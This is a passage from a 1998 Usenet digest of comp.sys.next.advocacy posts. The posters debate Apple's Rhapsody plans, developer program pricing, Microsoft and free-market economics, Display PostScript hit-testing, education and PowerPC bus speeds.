ran the Magic Cap OS). General Magic was founded to design smart agents
that would use adaptive AI to do internet and communications based tasks
for you, but they realized that was years away and did the PDA instead
(few people know that Apple had a stake in MagicCap). Neither IBM nor
Apple of course wanted to put any money into General Magic, so it never
got any advertising or much press, and was orphaned. I think MS recently
dumped a few million into it though... (they've reentered the PDA market
with a unit for vertical application development, on-the-job form entry,
database, etc.) Anyhow, needless to say, there were enough quiet
indications in the presses that Copland was getting nowhere, and with all
related advanced project ventures withering left and right and a lot of
unanswered questions, it was clear to me Copland was not going to happen
in the form they claimed it would.
Jump to the present: Rhapsody is just going to be a pretty face on the
best tried-and-true OO OS there is. I've seen the Apple internal specs
that leaked, and the core is going to go through nothing more than an
update. And the Blue Box is NOT rocket science. Quix did it for NeXT
with Daydream, running a MacOS layer inside of NeXTStep/OPENSTEP with Mac
ROMs in a box attached to the DSP port. Full speed Mac on NeXT 680x0
hardware. Apple already has a full-blown Mac OS emulator for HP-UX and
Solaris UNIX systems, called MAE (Macintosh Application Environment), up
to version 3.0, which integrates the Mac OS within a UNIX environment.
ALL THE TECHNICAL ISSUES ARE RESOLVED IN ONE WAY OR ANOTHER ALREADY. This
unprecedented in all personal computer history - Rhapsody will be nothing
more than a synthesis with a few new ideas (hopefully) here or there, and
all of the stuff being sythesized is being done by people in-house since
Apple bought NeXT, not some attempt at cross-company cooperation which
never panned out with IBM.
Not a doubt in my mind about Rhapsody - as the Magic 8 Ball says, "All
signs point to YES."
--
Nathan Raymond
http://www.everythingmac.com
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 14 Apr 1998 17:40:58 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6h0s6a$hpp$1@xmission.xmission.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <sczY.1017$ME2.5365651@news.itd.umich.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@CONVEX
.COM> <forrestDELETE-THIS!-1404981354360001@term3-10.vta.west.net>
Distribution: In comp.sys.next.advocacy Forrest Cameranesi <forrestDELETE-THIS!@west.net> wrote:
: WRT natural monopolies:
: I beleive that it is the tendancy of a free market to produce a natural
: monopoly.
Two words: contestable markets.
........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 18:41:33 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h0akt$h5v$1@ns3.vrx.net>
References: <6gvit9$8u$6@ns3.vrx.net> <B15903E4-68E92@206.165.43.147>
<3533E109.A3A5ACA6@trilithon.com>
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Cc: henry@trilithon.com
In <3533E109.A3A5ACA6@trilithon.com> Henry McGilton claimed:
> This last part is so confused I wouldn't know where to
> start trying to untangle it. The charpath strategy (which
> as far as I know nobody uses for this purpose) is
> algorithmic, but you wouldn't use it for a client-side
> application for purposes such as character placement or
> line layout.
That's my attack at the issue - I was going to run across the chars, cache
the NSRect's in a NSArray, then on a draw: I'd use NSMidX to find the
midpoint of the cached rects and use that for binding points and such.
Lawson's "point" is that as you edit the string the glyphs may change
"non-linearly". So, I'd just recache them. My point is that I'm doing
bounding box calcs now and it's so fast that I couldn't see any reason it
wouldn't work here either (in fact, I don't even really have to cache them,
because any possible redraw is causing a global inval on them anyway).
But your letter is even more intriguing, are you saying this information is
already available to me via the AFM files?
> * is that DPS is being used primarily as a rendering
> * engine
> Yep --- that's what it's designed for.
Next he'll ask us to stop using the hammer to hammer.
> This is clearly a crock.
You're new to this group, let me assure you it's been a neverending stream
of such issues.
> You can hit-test down to as low
> a granularity as you want. You can use instroke, infill,
> ineofill, inueofill, inufill, and inustroke, for as small
> and complex a path as you wish.
I use MiscHitPath's stuff for this. Makes it that much easier.
Maury
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 15:28:51 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6gvvbj$q7s@nrtphc11.bnr.ca>
References: <6gdhvg$2ls$2@anvil.BLaCKSMITH.com> <35330720.2781E494@spam.me> <slrn6j65mt.p5a.mbkennel@lyapunov.ucsd.edu> <6gvasb$1sr@gap.cco.caltech.edu>
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In article <maury-1304981504020001@ts37-06.tor.istar.ca> Maury Markowitz,
maury@remove_this.istar.ca writes:
> What, do you imply they are not today? I _never_ pick up my phone and
>don't get a dial tone. I turn on the TV and not get cable once a month.
>I have problems getting IP via my ISP once a _day_.
Time to change ISP's I guess
I have more problem with Cable TV than with Mindspring.
The internet has problems but Mindspring delivers IP to my computer
better than 99% of the time.
Matthew Cromer matthew_cromer@iname.com
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Mac as a news server (was Re: Apple developer program)
Date: 14 Apr 1998 13:16:59 GMT
Organization: Occam's Razor
Message-ID: <6gvnkb$f3p$1@news.cmc.net>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154>
<6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr>
<9APR98.16105101@fredjr.pfc.mit.edu> <6gm2ce$7j4$7@anvil.BLaCKSMITH.com>
<ericb-1304982036320001@132.236.171.104> <6guld0$ei2$1@news.digifix.com>
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Cc: sanguish@digifix.com
In <6guld0$ei2$1@news.digifix.com> Scott Anguish wrote:
>On 04/13/98, Eric Bennett wrote:
>>In article <6gm2ce$7j4$7@anvil.BLaCKSMITH.com>,
>cswiger@BLaCKSMITH.com wrote:
>>
>>I'm not arguing that MacOS is a good platform to use for a news
>server.
>>But it's probably not as bad as you think.
>>
>>And if the Mac filesystem is so bad, Rhapsody is going to suck for
>these
>>purposes too, because isn't HFS+ supposed to be the default
>filesystem for
>>the first "consumer" release?
>
> You don't have to use HFS+.
Besides, HFS+ doesn't have the problems that HFS has.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 14 Apr 1998 18:50:07 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h0b4v$h5v$3@ns3.vrx.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3>
<352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
<gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com>
<352D4957.84AE1890@alexa.com> <SCOTT.98Apr10103112@slave.doubleu.com>
<3533D6C7.95AECD96@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <3533D6C7.95AECD96@milestonerdl.com> M Rassbach claimed:
> But the GnuStep/MKLinux route won't leave you shafted the way Apple just
> shafted the Newton Developers.
No, it will just leave you in the forever-limbo of projects that never go
final, or even approach true usability. GNUStep, from a user perspective,
does not exist. For the most part it's a mostly-complete FoundationKit and
an incomplete to not-even-really-working everything else.
> And, if you go the Rhapsody route, there IS an exit route of GnuSTEP.
> (kinda like the Windows folks have willows)
Not a single one of my apps will work under GNUStep because the libraries
are not complete. How is this an "out"?
Maury
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 00:16:02 GMT
Organization: @Home Network
Message-ID: <6h0u82$44d$1@ha2.rdc1.sdca.home.com>
References: <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com>
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Cc: Greg_Anderson@afs.com
In <6gvqbt$hnq@shelob.afs.com> Gregory H. Anderson wrote:
> Rex Riley writes
> > ITS AN INVESTMENT. It has risks. It has rewards. It isn't going to
> > be easy. It won't be free. Do-the-math "before". No reward? It"s a bad
> > investment. Investments need management. Figure out where the
> > investment can make you the most return. Monitor the investment. Too
> > expensive? Maybe it's not the right investment for you.
>
> This comment is way off the mark.
>
>
... "off-the-mark" ? See:
http://www.stepwise.com/Articles/Editorial/wjs_developer_changes.html
<Paraphrase> from Stepwise "Think Wisely" page:
"The truth is Apple's developer program was way too generous,..."
"... the new prices are chump change and those not making that much money
don't really need to be in the developer program"
</Paraphrase>
Rhapsody is maybe an "expensive" hobby buy why not an investment?
Professionals make investments in their education, careers and retirements
daily, why can't hobbyists? Investment metaphors seems to fit with the
Professional Developer's assessment of Rhapsody.
> Many significant improvements in our
> industry have come from so-called hobbyists who had access to "cool" tech
> and leveraged it to do things that its designers had never foreseen.
>
>
How does taking a professional investment attitude affect so-called hobbyists?
> The
> Mac market probably provides hundreds of examples of apps and utilities
> that never would have seen the light of day if it cost $3500 -- or even
> $500 -- to get in. We don't need this "business snob" attitude.
>
Apple _is_ fighting for its Corporate Life. Rhapsody is targeted at the
"Professional" and "Corporate" user. Advocating an "Investment" attitude
seems a healthy, responsible attitude.
-r
Rex Riley
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6gu2nh$bo0$8965@news.flashnet.it>
Control: cancel <6gu2nh$bo0$8965@news.flashnet.it>
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Organization: BOFH Space Command, Usenet Division
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Sender: <ItalianBoy@Italy.com>
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From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6gu2nh$bo0$8964@news.flashnet.it>
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From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <1998041501293700.VAA26384@ladder03.news.aol.com>
Date: 15 Apr 1998 01:29:35 GMT
Organization: AOL http://www.aol.com
References: <B15903E4-68E92@206.165.43.147>
To repeat/restate/attempt to clarify....
Hangul is a syllabry/alphabet with unique glyphs whose shape is derived from
shape of the mouth/tongue when making said sounds. (this is a vast
simplification, but adequate for this purpose, I believe).
They are not overtly based on the same stroke formations/radicals as Chinese
characters (Hanzi/Hanja/Kanji) and are arguably different enough in
form/structure as to not integrate Chinese characters when the latter are used
in a Korean text for proper nouns/names, classical allusions, etc. Some people
manage this better than others.
To repeat, Chinese radicals are _not_ used to create Hangul. Hangul is a
completely different system--see Jared Diamond's article on this in Discover
Magazine from several years back if one needs more information.
Another text I'd suggest reading is _Programming the Display PostScript System
Using NeXTstep_.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Message-ID: <petrichErFM2z.102@netcom.com>
Organization: Netcom
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104> <3533BAE1.3B33@CONVEX.COM>
Date: Wed, 15 Apr 1998 01:42:35 GMT
Sender: petrich@netcom3.netcom.com
In article <3533BAE1.3B33@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
>There are irresistible reasons for the near-impossibility of monopolies
>in a healthy economy, it's that simple. The United States has a healthy
>competitive economy, and thus unrestricted trade in that environment, in
>my opinion, will always lead to a turnover of market leaders.
Today's
>rhetoric concerning Microsoft's unique position in the marketplace is
>*not* unique; the exact same sentiments were voiced about IBM when
>mainframes were of primary importance in the computing world. Technology
>shifted, and IBM's control was broken. This took place *internally* to
>the free market.
That's rather far from the truth. Government is involved in "the
market" in such things as deciding what is and is not legitimate
property. Consider one of the things that helped do in IBM; Its PeeCee
architecture was originally intended to be closed and proprietary; but
IBM's team had to get it out of the door much faster than IBM had been
accustomed to, so that team used a lot of pre-existing stuff from
outside. The only proprietary part was the BIOS ROM, and when the cloners
reverse-engineered that, there went IBM's control over the PeeCee. In
effect, the government decided not to back IBM up and forbid the sale of
reverse-engineered BIOS ROM's.
>Unethical behavior is a sad fact of life in a market which enjoys
>unrestricted trade. I don't think it's possible to wish poor ethics away
>in the well of government intervention.
So does that mean that unethical behavior has a right to happen?
And that we ought to disband the military and the police?
>However, strong market forces oppose poor ethics. The example of
>consumers who are willing to pay a premium for environmentally-clean
>power sources goes a long way toward demonstrating this.
I thought you guys *hated* concern about the environment. :-)
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Microsoft Faking Testimonials...
Message-ID: <petrichErFM9B.18t@netcom.com>
Organization: Netcom
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <slrn6j7e55.rtr.mbkennel@lyapunov.ucsd.edu> <3533C026.45F2@CONVEX.COM>
Date: Wed, 15 Apr 1998 01:46:23 GMT
Sender: petrich@netcom3.netcom.com
In article <3533C026.45F2@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
>Matt Kennel wrote:
... It is government's role to enforce laws and
>arbitrate disputes, *not* to make exceptions based on short-term
>circumstance.
Where do the laws end and the regulations begin?
but it's clear from history that for at
>least as long as government directly intervenes in the private sector,
>the negative consequences outweigh the positive effects of the
>intervention,
So the government should not be in the business of deciding what
is and is not a legitimate property claim?
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 01:50:56 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6h13q0$f6k@newsb.netnews.att.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@convex.com> <6gtvvf$ph8@newsb.netnews.att.com> <3532DC76.86324080@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>
>As best I understand Lawrence Lessig's remarks, this is his way of
>turning the "naive Internet libertarianism" (Feedline's words) against
>itself with a lame attempt at blunting the benefits of free enterprise.
As I understand it, the Internet grew out of government research
money, and not the free enterprise system, as libertarians would
define it.
There could very well have been no Internet as we know it; instead,
Microsoft could have brought its pre-1995 plans to fruition, with its
own network. The hundreds of small ISPs and the millions of users
that "blind-sided" Microsoft arose precisely because there was a
publicly funded network. No amount of technology could have enabled
anything, as no (small) entity could have afforded the near-global
network.
><Feedline quote>
>
>'BY THE "ARCHITECTURE OF CYBERSPACE"
>Lessig means the complex of hardware and software
>technologies, protocols and identification systems that
>collectively make up the Internet. When you think of
>the architecture of the Internet as itself a potential
>regulator, you begin to realize that rather than being
>free of regulation, the Internet will be regulated by the
>companies who write the code. Like Microsoft and
>Netscape, for instance.'
>
></Feedline quote>
>Ah, Lawrence, we hardly knew ye. If this is the sort of trash-economics
>and cheap technological philosophy Lessig espouses, it's best that
>Microsoft win its injunction against his appointment as Special Master
Re-read, this is not "trash-economics" or "cheap technological
philosophy". It is an important new point.
>in the DoJ case. To argue that somehow, the fruits of work done by
>market leaders is "regulation" of the same breed as governmental
>litigation? Please, you can't be serious. This is really demeaning.
First, the Internet was not invented by Microsoft, nor by Netscape.
If the Internet had not had so much momentum, the largest public
computer network might have been MSN, controlled by one corporation.
So much for the "fruits of work done by market leaders".
The Internet as it is now, is a public road, for which various
companies can provide vehicles. It could very well have been a railroad
with a peculiar gauge, with carriages provided by only one company.
One position is that the Internet should remain public. The other
position is that the market leader, by "fruit of its work", should
control all access-points to the Internet.
Microsoft understands very well the importance of becoming the main or
better yet, only provider of access to the Internet. Lessig understands
the danger just as well. Do you ?
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 02:02:03 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6h14er$hmh@newsb.netnews.att.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@convex.com>
Originator: gupta@tlctest
Michael Peck <ECK@CONVEX.COM> wrote:
>If software is marginally popular, it's easier to hire fewer support
>personnel, it's easier to spend less on advertising, it's easier to
>change corporate direction, it's easier to create new products without
>the spectre of compatibility, it's easier to ship late products...
>
>It's even easier, depending on the situation, to do all of the above
>with *lower* per-unit costs. By leveraging his own talent, the
>entrepreneur can achieve more with less money than a large corporation
>in many cases. When he's a larger concern and has to pay attention to
>unions, affirmative action, and the EPA, his costs are going up, not
>down.
I think you utterly miss the point.
Is BeOS is going to succeed in the market-place ?
It doesn't matter how inexpensively Be can produce its OS, and
port it to various machines. Let Be have zero union problems,
zero affirmative action, zero EPA costs.
The cost to a consumer in using BeOS is that he would have to
pay for the production of all the software that provides the
functionality that he could get with Windows.
Even if development for Be is 1/100th the cost of developing
for Windows, the stuff for Windows already exists and has been
paid for, by of the order of 100 million users. It is thus
very difficult, no matter how efficient and superior,
for Be to succeed.
Incidentally, it is a very similar dilemma that faces Apple
with Rhapsody, even though there may be several million users
ready-made.
-arun gupta
From: davking@lodinet.com (Ted King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Tue, 14 Apr 1998 19:15:32 -0800
Organization: All USENET -- http://www.Supernews.com
Message-ID: <davking-ya023080001404981915320001@news.lodinet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <rmcassid-1404981222220001@dante.eng.uci.edu>, rmcassid@uci.edu
wrote:
> In article <ericb-1404981442150001@132.236.171.104>, ericb@pobox.com (Eric
> Bennett) wrote:
>
> >According to Fussell, we have more PhDs awarded in "education" than any
> >other field. Given that, and given that so many Americans have college
> >degrees, why is it that Americans do so poorly when it comes to
> >head-to-head skills comparisons with citizens in so many foreign nations?
> >And why is the illiteracy rate in the United States so high? Why can't
> >American students find Mexico on a map (I'm not making this up!).
Some of the other posts in this thread are bouncing statistics back and
forth. Where did this information come from - that small army of PhD's in
education! Take any position you want on any issue in education and you can
find studies that will back you up. It's a joke.
>
> Because the US does not put a quality education at a higher priority than
> highways, Internet2, bombers, welfare, social security, and so on. Not in
> terms of media attention. Not in terms of federal or local spending. Not
> in terms of quality control, regulation, and a number of other measures.
>
> The government doesn't see education as a priority. The taxpayers
> typically don't. The media doesn't. Is it any wonder why students don't?
> Not until college and you start to show dollar signs behind a degree do
> they seem to take education more seriously.
>
> We have no sense of pride behind a good education (rather we tend to
> reward stupidity if you watch television at all) and we show no
> willingness to sacrifice towards education. The push to put computers in
> classrooms (as if they will compensate for poor teachers or poor thinking
> skills by students) seems like more harm than good and is money poorly
> spent.
>
> The biggest problem with education in the US right now is a lack of
> dollars. If I could teach for what I make now (which isn't very much) I'd
> do it and I think a lot of other people would as well. But teaching isn't
> very rewarding when you can't afford housing. Education in the US has a
> lot of other problems as well, but dollars will solve some of the most
> destructive ones.
More money would help if applied correctly - too much is being used for
administrative purposes. But I am positive that by far and away the biggest
problem in American education is that too many parents do not teach their
children to value education. My wife has a class that is working above
grade level (her students come from a middle class neighborhood). A friend
of mine has a class a half a mile away in the same town and her class is
far below grade level. They are both good teachers. At my wife's back to
school night only one child didn't have their parent show up and that
parent sent a letter of apology for not being able to make it. At my
friend's back to school night only two sets of parents came. Parent
involvement is by far the most important variable in student success.
>
> Consider that some 30% of all public schools in our nations capitol were
> deemed dangerous or unsuitable for occupation this past summer and
> couldn't open. When was the last time you heard of a post office or fire
> station being unsuitable for occupation?
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 02:09:49 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6h14td$jjr@newsb.netnews.att.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>> And this free market has been very carefully created and engineered
>> economists and bureaucrats and lawmakers.
>I'm curious: in what way did these people "create" a system which, by
>nature, already exists? Maybe you mean the Framers, and that they
>created the Constitution which explicitly forbids government meddling in
>the already-existing free-market? Maybe not. I dunno.
It took explicit government "meddling" to create the property right of
intellectual property. I take it that you don't believe in patents or
copyrights; wouldn't our free-market be very different without them ?
It takes explicit government "meddling" to keep the US stock market
relatively fair to all investors, as compared to, say, the stock market
of India, which is liable to all kinds of "free-market" manipulation.
I suppose you would rather not have the SEC around ?
It takes someone, who perhaps has not seen anything else but what exists
in the US today, to fall into the delusion that the free-market exists in
nature. Utterly juvenile. Without the Constitution, the economists,
bureaucrats, lawmakers and the supremacy of these, all you get is
protection rackets and pirates.
-arun gupta
Message-ID: <3534065A.B21386F3@adr.dk>
Date: Wed, 15 Apr 1998 02:59:05 +0200
From: Jens Bauer <faster@adr.dk>
Organization: Faster Software
MIME-Version: 1.0
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
References: <6gpc8q$7f9$1@hecate.umd.edu> <handleym-1404980057520001@handma.apple.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maynard Handley wrote:
> Before getting so worked up about the lack of a 100MHz bus, David, why
Also keep in mind (David), that you might be able to afford a machine with a
-say- 200MHz bus. How far would you go ? -Do you want Apple to pay for this
expensive thing, or do you want to pay for it all by yourself?
Apple may be able to sell ONE computer with this technology, as you're the
only one that can pay. That would be a pretty high risk to take.
What I'm trying to say... Still have in mind: Cost versus speed.
How much speed I need ?
Well, I /need/ 25 FPS+200kHz or better sound in 768x576, 24bit. Want a 30FPS
in the same resolution.
What do I have ?
I've got around 37.5 FPS full-screen update in 800x600, 8bit. This would be
12.5FPS in 24bit, except for that I don't have 24bit.
Am I satisfied ?
Yep, except for, that I still have to /dream/ about the Video In/Out.
Oke, which computer do I have ?
A plain Performa 6200 @75Mhz. It even does the 3D games very well, and I even
don't like 3D games. :)
The only reason I can see for making Apple's computers faster, is to convince
people that it /really/ is faster than the PCs. But it already is faster than
the PCs, so the next step would be... It has to be faster than tomorrow's PCs.
Those with the promised 1.5GHz Digital-chip.
I wonder what the price of a PC with this chip will be. I guess only the
future can answer this question.
Regards.
Jens.
--
You are currently where the future becomes now and now becomes the past.
You are located directly above the center of the earth.
Message-ID: <3533FFB7.DF6E7C28@adr.dk>
Date: Wed, 15 Apr 1998 02:30:42 +0200
From: Jens Bauer <faster@adr.dk>
Organization: Faster Software
MIME-Version: 1.0
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
References: <6go69q$8l1$3@hecate.umd.edu> <352FD2BF.50693172@adr.dk> <tim-1204981459310001@jump-k56flex-0101.jumpnet.com> <handleym-1404980047570001@handma.apple.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maynard Handley wrote:
> > 6-1-1-1 (83.3MHz)
> > 7-1-1-1 (100MHz)
> >
> > 9 cycles @83.3MHz = 108ns
> > 10 cycles @100MHz = 100ns (8% faster)
>
> Of course these are bus cycles, not CPU cycles, so an extra bus cycle is 4
> CPU cycles (@400MHz). With critical dword first, and assuming one has some
> work to do before needing the next data in the line, one suspects that the
> 9 cycle 108ns bus may actually run code slightly faster.
> Has anyone actually simulated the difference between the two?
I must admit:
I like bus cycles better, because I do alot of data-moving. CPU cycles doesn't
tell me how fast the computer is. Maybe I should say.. The lowest speed-limit
tells me how fast/slow the computer is. Ehm. No, the lowest speed-limit, and
the size of the data-path. Argh. Another try. Well, who actually cares,
everybody knows what I mean. :)
Jens.
Message-ID: <35340028.B1D8EE0C@adr.dk>
Date: Wed, 15 Apr 1998 02:32:35 +0200
From: Jens Bauer <faster@adr.dk>
Organization: Faster Software
MIME-Version: 1.0
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
References: <6go69q$8l1$3@hecate.umd.edu> <352FD2BF.50693172@adr.dk> <tim-1204981459310001@jump-k56flex-0101.jumpnet.com> <geordie-1404981635280001@130.130.117.53>
Content-Type: text/plain; charset=us-ascii
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Geordie Korper wrote:
>
> This is way over my head technically, but aren't you also going to lose
> around 1/2 a ns for travel time. I seem to recall that the electrons in
> the traces only travel about 20-25cm (8inches) in a nanosecond. I assume
> that it is built in to the latency in the first access since it would be
> double the distance doing the round trip for request and returned data,
> but is it also going to affect the other acesses as well?
Argh, don't start with this. Soon we'll be discussing the printed circuit is
one big capacitor. :)
Regards.
Jens.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 03:21:42 GMT
Organization: Digital Fix Development
Message-ID: <6h1946$e04$1@news.digifix.com>
References: <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17>
In-Reply-To: <B159701C-344A1@207.217.155.17>
On 04/14/98, "Brad Hutchings" wrote:
>Rex Riley paraphrased Wil Shipley:
>
>><Paraphrase> from Stepwise "Think Wisely" page:
>>"The truth is Apple's developer program was way too generous,..."
>>"... the new prices are chump change and those not making that much
money
>>don't really need to be in the developer program"
>></Paraphrase>
>
First, off, this was not from a "Think Wisely" page. This was
from an editoria that was written by Wil Shipley.
I agree with what Wil says in the article. The old program
was severely abused by those who wanted cheap hardware and nothing
more. By those who wanted cheap access to all the updates and
bleeding edge stuff, even though they didn't ever do any development.
For a business, $500 for access to the facilities that you get
with Select is a bargain.
>Excellent paraphrase. It's time for cynical, evil me to issue a call
for
>some severe attitude adjustment here. Listen NeXTies.
And RIGHT HERE, YOU INDICATE THAT YOU NEED TO ADJUST YOUR
ATTITUDE.
There is no NeXTies anymore. There are Rhapsody developers.
Those of us who are actively developing on the platform (not waiting
for DR2 or CR1, or an installed base) are attempting to make things
right.
>There aren't enough of you writing software to make Rhapsody (as
>presented at 1997 WWDC) successful. There just aren't.
Are you writing Rhapsody software? No?
So you aren't trying to make the situation better.
>There were
>more of us doing OpenDoc, OK? We couldn't save that.
The problems with OpenDoc are different. You should know that.
>I may be able
>to write a simple word processor in 20 minutes with IB, and you
>may have been able to do that years ago, but it didn't make NeXT
>a ladybug on a truck's windshield w.r.t. the wider consumer market.
It was NEVER MARKETED TO THE CONSUMER MARKET.
OpenStep has been quite successful in the vertical markets.
Ask FannieMai. Or MCI, or FCNB...
>Apple needs developers writing Rhapsody software if Rhapsody is
>going to be a success. These monthly announcements in ADN about
>so-and-so porting Enhanced-Niche-Do-Nothing-Product 5.6 to Rhapsody
>aren't going mean squat.
>
Too bad you're just spouting off about it, instead of doing
something about it.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: davewang@wam.umd.edu (David T. Wang)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Followup-To: comp.sys.powerpc.tech,comp.sys.next.advocacy
Date: 14 Apr 1998 16:51:18 GMT
Organization: University of Maryland, College Park, MD
Message-ID: <6h0466$m2v@dailyplanet.wam.umd.edu>
Christian Bau (christian.bau@isltd.insignia.com) wrote:
: handleym@apple.com (Maynard Handley) wrote:
: > Before getting so worked up about the lack of a 100MHz bus, David, why
: > don't you quantify for us just how much performance you are missing. Do
: > you even know? Do you know if using currently available SDRAM in a 100MHz
: > system and increasing the latency will slow down or speed up a system? Do
: > you know if maybe the system could best be made to run faster not by
: > screwing around with the bus speed but by revving the various chips on the
: > bus to be able to queue more transaction, and by making more aggressive
: > use of the pipelining capabilities defined in the 60x bus?
: > The point is, if you don't know the answers to these questions, then you
: > are hardly in a position to call the Apple engineers idiots. Chances are,
: > they DO know the answers, and are making their decisions based on what
: > will actually speed up systems, not based on "ooh, 100 is bigger than
: > 83---lets make our next bus run at 100MHz and screw the consequences".
: Tim Olson posted earlier an example that with an 83 MHz motherboard you
: might have an access pattern of 6-1-1-1 cycles, where a 100 MHz board
: would give you a 7-1-1-1 access pattern.
: Looks to me that most of the delay comes from the SDRAM chip itself
